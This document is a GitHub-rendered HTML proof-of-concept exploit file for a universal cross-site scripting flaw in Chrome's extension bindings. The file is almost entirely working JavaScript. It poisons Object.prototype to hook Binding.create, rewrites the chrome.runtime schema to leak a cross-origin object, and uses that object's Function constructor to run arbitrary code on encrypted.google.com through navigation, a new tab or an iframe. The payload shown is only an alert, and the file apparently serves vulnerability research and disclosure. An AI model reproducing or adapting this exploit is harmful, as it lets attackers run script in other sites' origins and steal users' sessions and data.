-
Notifications
You must be signed in to change notification settings - Fork 89
/
exploit2.html
150 lines (143 loc) · 6.91 KB
/
exploit2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<script>
function mutateSchema(schema) {
var $Object = schema.constructor;
var $Function = $Object.constructor;
// If this assumption does not hold, then we have to do a bit more trickery with getters
// so that the availability check in binding.js (addProperties) passes.
console.assert('lastError' in schema.properties, 'Assuming that schema is runtime, and runtime.lastError is defined');
// Any code in this Function runs in the singleton execution environment that persists across page loads.
$Function('schema_dot_properties', `
// This must be a property that passes GetAvailability(schema.namespace + "." + propertyName).
// Luckily, we can recursively the same property name because the namespace is concatenated
// with the property name, not the full object path.
// So we can have something like runtime.lastError.lastError :)
const WHITELISTED_PROP = 'lastError';
schema_dot_properties[WHITELISTED_PROP] = {
type: 'object',
// This activates the branch that ultimately leaks an object from the page to our script.
// We can then steal the Function constructor from that object and then run arbitrary code
// through that.
properties: {
[WHITELISTED_PROP]: {
$ref: 'StorageArea',
value: [],
},
},
get value() {
// Create a new one upon access to make sure that every page gets a
// new instance of the interceptor.
return new Proxy({}, {
set(target, propname, value, receiver) {
target[propname] = value;
if (propname === WHITELISTED_PROP && typeof value === 'object' && value !== null) {
// Yay, we now got a (possibly) cross-origin object.
var $$Function = value.constructor.constructor;
$$Function('alert("Hello " + document.URL + " in " + navigator.userAgent)')();
}
return true;
},
});
},
};
`)(schema.properties);
schema.types.unshift({
id: 'StorageArea',
type: 'object',
js_module: 'StorageArea',
functions: [],
});
console.log('Overwritten scheme.');
}
// Call this function to leak the module.
function triggerSchemaModification() {
// Once per page because the exploit hooks on the lazy initialization of chrome.runtime,
// and after initializing it, it won't trigger again.
if (triggerSchemaModification.runOncePerPageLoad)
return;
triggerSchemaModification.runOncePerPageLoad = true;
var hooked = false;
var intercepted = false;
var runtimeintercepted = false;
var alreadyintercepted = false;
// Intercepting the creation of this:
//
// Binding.create = function(apiName) {
// return new Binding(apiName);
// };
Object.defineProperty(Object.prototype, 'create', {
configurable: true,
get() {
// no value by default.
},
set(Binding_create) {
if (typeof this !== 'function' ||
typeof Binding_create !== 'function' ||
!this.toString().includes('customHooks_')) {
// Not Binding.create, transparently create the property.
Object.defineProperty(this, 'create', {
configurable: true,
enumerable: true,
value: Binding_create,
});
return;
}
hooked = true;
Object.defineProperties(this, {
create: {
enumerable: true,
value: function FakeBinding(apiName) {
var binding = Binding_create(apiName);
var runHooks_ = binding.runHooks_;
// This is our evil stuff. The runHooks_ method gets a reference to the schema.
binding.runHooks_ = function (mod, schema) {
intercepted = true;
if (!schema) {
// For Chrome 49-.
schema = this.schema_;
}
if (schema.namespace === 'runtime' && schema.types) {
runtimeintercepted = true;
if (schema.types[0].id === 'StorageArea') {
console.log('Warning: Schema was already modified.');
alreadyintercepted = true;
} else {
console.log('Trying to overwrite scheme...');
mutateSchema(schema);
}
}
return runHooks_.call(this, mod, schema);
};
return binding;
},
},
});
},
});
// Trigger the lazy module system.
chrome.runtime;
if (alreadyintercepted)
return; // This is fine, no need to check assertions.
console.assert(hooked, 'hook should have been set up.');
console.assert(intercepted, 'hook should have been called.');
console.assert(runtimeintercepted, 'hook should have been called for the runtime schema');
}
function showUXSSAfterNavigation() {
triggerSchemaModification();
location.href = 'https://encrypted.google.com';
}
function showUXSSInNewTab() {
triggerSchemaModification();
window.open('https://encrypted.google.com');
}
function showUXSSInFrame() {
triggerSchemaModification();
var f = document.createElement('iframe');
// Using data URLs in case google uses X-Frame-Options.
f.src = 'data:text/html,<script>chrome.runtime;<\/script>data-URLs have a unique origin';
document.body.appendChild(f);
}
</script> The UXSS vulnerability persists until the current RenderThread is destroyed (e.g. by a process swap).
<br>
<button onclick="showUXSSAfterNavigation()">Show UXSS after navigation</button>
<button onclick="showUXSSInNewTab()">Show UXSS in new tab</button>
<button onclick="showUXSSInFrame()">Show UXSS in frame</button>